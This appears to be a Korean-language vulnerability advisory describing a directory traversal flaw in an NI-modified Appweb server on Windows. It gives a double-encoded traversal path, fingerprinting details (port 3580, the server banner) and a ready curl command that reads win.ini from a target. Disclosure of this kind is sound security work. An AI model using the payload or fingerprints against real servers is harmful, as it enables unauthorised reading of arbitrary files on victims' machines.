
NI가 수정한 Appweb 서버에는 디렉터리 트래버설 취약점이 존재하며, 공격자가 서버에서 임의의 파일을 읽을 수 있습니다.
URI 경로 /.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini 는 다음과 같이 변환됩니다:
pathInfo cchar * "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/windows/win.ini” 0x000000010076f808 이는 유효한 URI이며 appweb은 이 요청을 차단하지 않습니다. 그런 다음 이 값은 사용자 정의 핸들러로 전달되며, 이 경우 요청된 모든 파일의 내용을 반환합니다.
영향을 받는 소프트웨어의 특성상 피해 장치는 전적으로 Microsoft Windows 시스템입니다.
관찰된 최고 취약 버전: 12.0.0.
영향을 받는 장치는 다음 특성으로 식별할 수 있습니다:
항상 있는 것은 아니지만, 대부분의 경우 서비스는 포트 3580에서 실행됩니다. 다른 포트로는 8080과 80이 있을 수 있습니다.
/에 대한 서버 응답
HTTP/1.1 404 Not Found
Server: Mbedthis-Appweb/2.5.0
Date: Thu, 11 Dec 2025 18:23:26 GMT
Connection: keep-alive
Keep-Alive: timeout=60000, max=100
Content-Type: text/html
Content-length: 126
<HTML><HEAD><TITLE>Document Error: Not Found</TITLE></HEAD>
<BODY><H2>Access Error: 404 -- Not Found</H2>
</BODY></HTML>
이 취약점을 악용하려면 다음 명령을 사용할 수 있습니다:
curl http://<TARGET>:3580/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini
대상이 취약하다면 win.ini 파일의 내용이 표시됩니다.